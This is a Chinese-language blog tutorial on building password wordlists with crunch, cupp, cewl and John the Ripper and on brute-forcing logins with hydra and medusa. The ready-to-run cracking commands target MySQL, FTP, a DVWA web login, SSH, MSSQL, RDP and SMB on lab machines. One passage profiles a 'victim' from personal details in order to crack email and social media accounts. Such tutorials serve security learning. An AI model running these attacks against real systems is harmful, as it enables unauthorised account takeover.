字典生成----在線密碼破解工具hydra和medusa的使用

大家好,我是SuieKa。
本次主要稍微詳細分析一下字典的生成和在線密碼破解工具hydra和medusa及使用案例,希望對大家學習上有幫助!

在這裏插入圖片描述

一、常見字典生成工具及使用方法

密碼常見破解方法:
人工猜測(信息收集)
垃圾桶工程
被動信息收集
基於字典暴力破解(鍵盤字符集組合)

最傳統的方法就是猜,但是有時候密碼過於難猜,在有效的辦法中,我們最好採用字典暴力破解,怎麼暴力?如何暴力?怎麼破解密碼?現在我們就來詳細說說字典暴力破解方法。

我使用的kali linux版本

root@wangzhike:~# uname -srv
Linux 5.5.0-kali2-amd64 #1 SMP Debian 5.5.17-1kali1 (2020-04-21)

kali自帶字典

Kali 系統自帶字典目錄wordlists
/usr/share/wordlists
root@wangzhike:/usr/share/wordlists# ls
dirb  dirbuster  fasttrack.txt  fern-wifi  metasploit  nmap.lst  rockyou.txt.gz  wfuzz

dirb目錄:

root@wangzhike:/usr/share/wordlists/dirb# ls
big.txt  				#較大的字典
small.txt				#較小的字典    
euskera.txt				#數據目錄字典            
mutations_common.txt	#備份擴展名
spanish.txt				#方法名或庫文件
catala.txt				#項目配置字典 	 
extensions_common.txt	#常用文件擴展名字典  
others					#其他,擴展目錄,默認用戶名等                
stress					#壓力測試
common.txt				#公共字典  
indexes.txt				#常用首頁字典           
vulns					#漏洞測試

dirbuster目錄:

root@wangzhike:/usr/share/wordlists/dirbuster# ls
apache-user-enum-1.0.txt  
apache-user-enum-2.0.txt				#apache用戶枚舉 
directories.jbrofuzz					#目錄枚舉
directory-list-1.0.txt
directory-list-2.3-small.txt
directory-list-2.3-medium.txt			       
directory-list-lowercase-2.3-medium.txt  
directory-list-lowercase-2.3-small.txt	#目錄列表

fasttrack.txt #快速字典文本
常見密碼組合,比如password
在這裏插入圖片描述

fern-wifi目錄:

root@wangzhike:/usr/share/wordlists/fern-wifi# ls
common.txt		#公共wifi賬戶密碼文本字典

metasploit目錄:
這個目錄裏的字典就有很多了,各種字典都有。
比如:
默認用戶密碼字典、路由器用戶密碼字典、http默認用戶密碼字典、綜合項目管理用戶及密碼、惡意網站密碼、oracle默認密碼
在這裏插入圖片描述
nmap.lst #裏面也是集結了各種密碼

rockyou.txt.gz #一個51M的字典包(命中率高的字典文件)

wfuzz目錄:
其他字典、比如網絡服務、一般字典等。

root@wangzhike:/usr/share/wordlists/wfuzz# ls
general  Injections  others  stress  vulns  webservices

1、字典生成工具crunch

用法:crunch <min-len> <max-len> [<charset string>] [options]

– 默認是小寫字符
crunch 6 6 0123456789 -o START -d 2 -b 1mb / -c 100

-b	按大小分割字典文件(kb/kib、 mb/mib、 gb/gib)
-c 每個字典行數,也即包含密碼的個數
##以上兩個參數必須與-o START結合使用
-d 同意字符連貫出現的數量(11/aaa)
-e 字符串,定義停止生成密碼,比如-e 222222:到222222停止生成密碼
-f /path/to/charset.lstcharset-name,從charset.lst指定字符集,也即調用密碼庫文件
-i 改變出格式
-o wordlist.txt,指定輸出文件的名稱
-q filename.txt,讀取filename.txt
-s startblock,指定一個開始的字符
-t @,%^,指定字典組成規則
-u 必須是最後一個選項,禁止打印百分比
-z gzip, bzip2, lzma, and 7z,從-o選項壓縮輸出結果,支持gzip,bzip2, lzma, and 7z格式,gzip是最快壓縮率最低,bzip2是稍微慢於gzip,但比其壓縮率搞,7z最慢,但壓縮率最高。

創建精準、小的字典

root@wangzhike:/Dictionaries# crunch 6 6 0123456789 -o START -d 2
#同一個字符出現次數-2
root@wangzhike:/Dictionaries# ls
001001-998998.txt

root@wangzhike:/Dictionaries# crunch 6 6 0123456789 -o START -d 2 -b 1mb / -c 100
#生成6個字典,1M一個
root@wangzhike:/Dictionaries# ls
001001-148808.txt  148809-296626.txt  445536-593363.txt  741273-890090.txt
001001-998998.txt  296627-445535.txt  593364-741272.txt  890091-998998.txt

字典組成規則
root@wangzhike:/Dictionaries# crunch 6 6 -t @,%%^^ | more
@ 小寫字母 lalpha
, 大寫字母 ualpha
% 數字 numeric
^ 符號 symbols

在這裏插入圖片描述
比較有用的操作

生成pass01-pass99所有數字組合
crunch 6 6 -t pass%%>>npassword.txt

生成六位小寫字母密碼,其中前四位爲pass
crunch 6 6 -t pass@@>>npassword.txt

生成六位密碼,其中前四位爲pass,後二位爲特殊字符
crunch 6 6 -t pass^^>>npassword.txt

8位數數字字典
crunch 8 8 charset.lst numeric -o num8.dic

6位數數字字典
crunch 6 60123456789 –o num6.dic

製作139開頭的手機密碼字典
crunch 11 11+0123456789 -t 139%%%%%%%% -o num13.dic

在線使用生成的密碼(組合使用。即生成破解,不保存字典)
crunch 2 4 0123456789 | aircrack-ng a.cap -e MyESSID -w - 
#生成一個、破解一個,不存硬盤、速度慢

2、cupp自定義字典

需要了解密碼的規則,提高生成字典的精確性
按個人信息生成其專屬密碼字典:cupp
根據個人信息生成密碼組合,適合破解個人郵箱賬號、社交媒體賬號,服務器端密碼破解不太適合

需要python解釋器

root@wangzhike:/Dictionaries# python3 -V
Python 3.8.2

git CUPP工具

root@wangzhike:/Dictionaries# apt-get install git
root@wangzhike:/Dictionaries# git clone https://github.com/Mebus/cupp.git
root@wangzhike:/Dictionaries# ls
cupp

使用方法:python3 cupp.py -選項
-h 顯示幫助信息
-i 已交互的方式製作用戶密碼字典文件
-w 使用此選項配置現有字典
-l 從倉庫下載大型字典文件
-a 直接從alecto DB解析默認用戶名和密碼
-v 顯示版本信息

生成自定義字典
交互生成:python3 cupp.py -i

root@wangzhike:/Dictionaries/cupp# python3 cupp.py -i
 ___________ 
   cupp.py!                 # Common
      \                     # User
       \   ,__,             # Passwords
        \  (oo)____         # Profiler
           (__)    )\   
              ||--|| *      [ Muris Kurgas | [email protected] ]
                            [ Mebus | https://github.com/Mebus/]


[+] Insert the information about the victim to make a dictionary
[+] If you don't know all the info, just hit enter when asked! ;)

> First Name: xxx		#字典名
> Surname: xxx			#姓氏
> Nickname: xxx			#暱稱
> Birthdate (DDMMYYYY): 12041996	#出生日期


> Partners) name: xxx		#合夥人名字
> Partners) nickname: xxx	#暱稱
> Partners) birthdate (DDMMYYYY): 23081993	#出生日期


> Child's name: xxx			#孩子名字
> Child's nickname: xxx		#暱稱
> Child's birthdate (DDMMYYYY): 27102000	#出生日期


> Pet's name: tom	#寵物名字
> Company name: jieli	#公司名字


> Do you want to add some key words about the victim? Y/[N]: n
#你想添加一些關於受害者的關鍵詞嗎?
> Do you want to add special chars at the end of words? Y/[N]: n
#你想在單詞的末尾加上特殊的字符嗎?
> Do you want to add some random numbers at the end of words? Y/[N]:y
#你想在單詞的末尾加一些隨機數嗎?
> Leet mode? (i.e. leet = 1337) Y/[N]: n
#Leet模式?(即leet=1337)

[+] Now making a dictionary...
[+] Sorting list and removing duplicates...
[+] Saving dictionary to xin.txt, counting 14213 words.
[+] Now load your pistolero with xin.txt and shoot! Good luck!

在這裏插入圖片描述

3、cewl-根據網站信息生成字典

cewl(其他參數見cewl --help)
-m:最小單詞長度
-d:爬網深度(首頁遠遠不夠,幾層頁面均收集)
-e:收集包含email地址信息
-c:每個單詞出現次數
-w:保存文件
支持基本、摘要 身份認證
支持代理

cewl 1.1.1.1(IP或域名) -m 3 -d 3 -e -c -v -w baidu.txt

例:
對百度一級深度收集信息(可指定深度)
在這裏插入圖片描述
在這裏插入圖片描述

4、john-自定義規則創建字典

使用 John the Ripper 配置文件實現密碼動態變型:(簡稱: jtr、 john)
配置文件:/etc/john/john.conf
裏面有大量的規則可使用

默認規則爲:
在這裏插入圖片描述
john --wordlist=cewl.txt --rules --stdout > wang.txt #輸出到文件
–wordlist=cewl.txt #使用密碼字典
–rules #使用默認規則,需其他規則,在john,conf配置後,使用 --rules=規則名
–stdout #會話的打印狀態

root@wangzhike:/Dictionaries# ls
baidu.txt  cupp  xin.txt
root@wangzhike:/Dictionaries# john --wordlist=xin.txt --rules --stdout > wan.txt
Using default input encoding: UTF-8
Press 'q' or Ctrl-C to abort, almost any other key for status
50571p 0:00:00:00 100.00% (2020-06-11 04:26) 180610p/s Xinxiaowangging
root@wangzhike:/Dictionaries# ls
baidu.txt  cupp  wan.txt  xin.txt
root@wangzhike:/Dictionaries# more wan.txt 
000000
0000010
000002000
0000027
000007
000010
00002000
000027
000100
0001000
000102000

自定義規則:修改john配置文件添加規則或者修改規則使用
root@wangzhike:/Dictionaries# vi /etc/john/john.conf
在這裏插入圖片描述
直接使用即可
john --wordlist=xin.txt --rules=Wordlist --stdout > wang.txt

5、pw-inspector精簡字典

篩選字典內容
-i 輸入文件 -o 輸出文件 -m 有效密碼的最小長度 -M 有效密碼的最大長度 -l 小寫字母 -u 大學字母 -p 可打印的字符 -s 特殊字符 -n 數字
pw-inspector -i /usr/share/wordlists/nmap.lst -o p.lst -l
在這裏插入圖片描述
pw-inspector -i /usr/share/wordlists/nmap.lst -o pp.lst -u

在這裏插入圖片描述

二、密碼破解工具hydra案例

在這裏插入圖片描述
在線密碼破解: hydra(人稱九頭蛇) 在線的服務,kali中自帶神器,使用字典嘗試密碼,一個個測試,破解暴力, 有時候破解容易失敗
hydra是黑客組織thc的一款開源密碼攻擊工具,功能十分強大,支持多種協議的破解,在KALI的終端中執行hydra -h可以看到詳細介紹。

常用參數
Options:
-R 繼續從上一次進度接着破解
-I 忽略已破解的文件進行破解
-S 採用SSL鏈接
-s PORT 指定非默認服務端口
-l LOGIN 指定用戶名破解
-L FILE 指定用戶名字典
-p PASS 指定密碼破解
-P FILE 指定密碼字典
-y 爆破中不使用符號
-e nsr "n"嘗試空密碼, "s"嘗試指定密碼,"r"反向登錄
-C FILE 使用冒號分割格式,例如"登錄名:密碼"來代替-L/-P參數
-M FILE 每行一條攻擊的服務器列表, ':'指定端口
-o FILE 指定結果輸出文件
-b FORMAT 爲-o FILE輸出文件指定輸出格式:text(默認), json, jsonv1
-f / -F 找到登錄名和密碼時停止破解
-t TASKS 設置運行的線程數,默認是16
-w / -W TIME 設置最大超時的時間,單位秒,默認是30s
-c TIME 每次破解等待所有線程的時間
-4 / -6 使用IPv4(默認)或IPv6
-v / -V 顯示詳細過程
-q 不打印連接失敗的信息
-U 服務模塊詳細使用方法
-h 更多命令行參數介紹
server 目標DNS、IP地址或一個網段
service 要破解的服務名
OPT 一些服務模塊的可選參數

支持的協議: adam6500、asterisk、cisco、cisco-enable、cvs、firebird、ftp、ftps、http[s]-{head|get|post}、http[s]-{get|post}-form、http-proxy、http-proxy-urlenum、icq、imap[s]、irc、ldap2[s]、ldap3[-{cram|digest}md5][s]、mssql、mysql、nntp、oracle-listener、oracle-sid、pcanywhere、pcnfs、pop3[s]、postgres、radmin2、rdp、redis、rexec、rlogin、rpcap、rsh、rtsp、s7-300、sip、smb、smtp[s]、smtp-enum、snmp、socks5、ssh、sshkey、svn、teamspeak、telnet[s]、vmauthd、vnc、xmpp

kali linuxIP地址:192.168.1.106

1、hydra破解mysql數據庫

靶機(linux系統):192.168.1.107

root@wangzhike:~# hydra -l root -P password.txt  192.168.1.107 mysql
#-P /usr/share/wordlists/dirb/small.txt	#可使用自帶小字典(路徑)

在這裏插入圖片描述
說明靶機mysql數據庫爲空密碼

2、hydra破解ftp服務

靶機(linux):192.168.1.107

掃描靶機2121端口和服務,判斷是否有ftp服務
root@wangzhike:~# nmap -p2121 -sV 192.168.1.107
在這裏插入圖片描述

root@wangzhike:~# hydra -L user.txt -p password.txt ftp://192.168.1.107 -s 21 -e nsr -o ftp.txt -t 16
#-L user.txt 		#用戶字典
#-p password.txt 	#密碼字典
#-o ftp.txt			#輸出到文本

在這裏插入圖片描述

3、hydra破解http服務

靶機(linux):192.168.1.107
本靶機自帶http服務可登錄界面
在這裏插入圖片描述
post方式提交,破解DVWA登錄用戶及密碼

root@wangzhike:~# hydra -l admin -P password.txt 192.168.1.107 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Lin:S=index.php" -V

在這裏插入圖片描述

get方式提交,破解web登錄用戶及密碼

root@wangzhike:~# hydra -l admin -p password.txt -t 2 -vV -e ns 192.168.1.107 http-get /phpMyAdmin/

在這裏插入圖片描述

4、hydra破解ssh服務(linux密碼)

靶機(linux):192.168.1.107

root@wangzhike:~# hydra -l msfadmin -p password.txt -t 2 -vV -e ns 192.168.1.107 ssh 

在這裏插入圖片描述

5、hydra破解mssql

靶機(本機裝裝有mssqlserver 2008):192.168.1.105
本機的mssqlserver數據庫開啓1433端口,並設置登錄名sa及密碼爲wangzhike@123
在這裏插入圖片描述
本機關閉防火牆,並使用sa登錄mssql

root@wangzhike:~# hydra -l sa -P password.txt 192.168.1.105 mssql -vV

在這裏插入圖片描述

6、hydra破解rdb密碼

靶機(windows10_x64):192.168.1.108

root@wangzhike:~# hydra -l wangzhike -P password.txt rdp://192.168.1.108 -t 1 -Vv

在這裏插入圖片描述

7、hydra破解smb協議密碼

靶機(linux):192.168.1.107

root@wangzhike:~# hydra -l msfadmin -P password.txt smb://192.168.1.107 -vV

在這裏插入圖片描述
等等,還有很多都可用這種套路式破解

三、密碼破解工具medusa案例

hydra的缺點:
穩定性差,程序時常崩潰
速度控制不好,容易觸發服務屏蔽或鎖死機制
每主機新建進程, 每服務新建實例
大量目標破解時性能差

medusa:(美杜莎)
在這裏插入圖片描述
medusa 的特點
穩定性好
速度控制得當
基於線程
支持模塊少於hydra(不支持RDP)
WEB-Form支持存在缺陷

參數
-h [TEXT]      目標主機名稱或者IP地址
-H [FILE]       包含目標主機名稱或者IP地址文件
-u [TEXT]      測試的用戶名
-U [FILE]       包含測試的用戶名文件
-p [TEXT]      測試的密碼
-P [FILE]       包含測試的密碼文件
-C [FILE]       組合條目文件
-O [FILE]       日誌信息文件
-e [n/s/ns]    n代表空密碼,s代表爲密碼與用戶名相同
-M [TEXT]      模塊執行名稱
-m [TEXT]      傳遞參數到模塊
-d                 顯示所有的模塊名稱
-n [NUM]       使用非默認Tcp端口
-s                 啓用SSL
-r [NUM]       重試間隔時間,默認爲3-t [NUM]       設定線程數量
-T             同時測試的主機總數
-L                 並行化,每個用戶使用一個線程
-f                 在任何主機上找到第一個賬號/密碼後,停止破解
-F                在任何主機上找到第一個有效的用戶名/密碼後停止審計。
-q                顯示模塊的使用信息
-v [NUM]      詳細級別(0-6-w [NUM]     錯誤調試級別(0-10-V                顯示版本
-Z [TEXT]      繼續掃描上一次

隨便說幾個案例,大都是一個套路

1、medusa破解ftp

靶機(linux):192.168.1.107

root@wangzhike:~# medusa -M ftp -h 192.168.1.107 -e ns -F -u ftp -P password.txt 

在這裏插入圖片描述
#注意:顯示爲空密碼

2、medusa破解mysql

靶機(linux):192.168.1.107

root@wangzhike:~# medusa -M mysql -h 192.168.1.107 -e ns -F -u root -P password.txt 

在這裏插入圖片描述

3、medusa破解ssh

靶機(本機kali):192.168.1.106

root@wangzhike:~# medusa -M ssh -h 192.168.1.106 -e ns -F -u root -P password.txt

在這裏插入圖片描述

4、medusa破解mssqlserver 2008

本機同上,mssql登錄sa,關閉防火牆

root@wangzhike:~# medusa -M mssql -h 192.168.1.105 -e ns -F -u sa -P password.txt

在這裏插入圖片描述
好了!希望對大家有幫助!再者記得點贊加關注喲

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章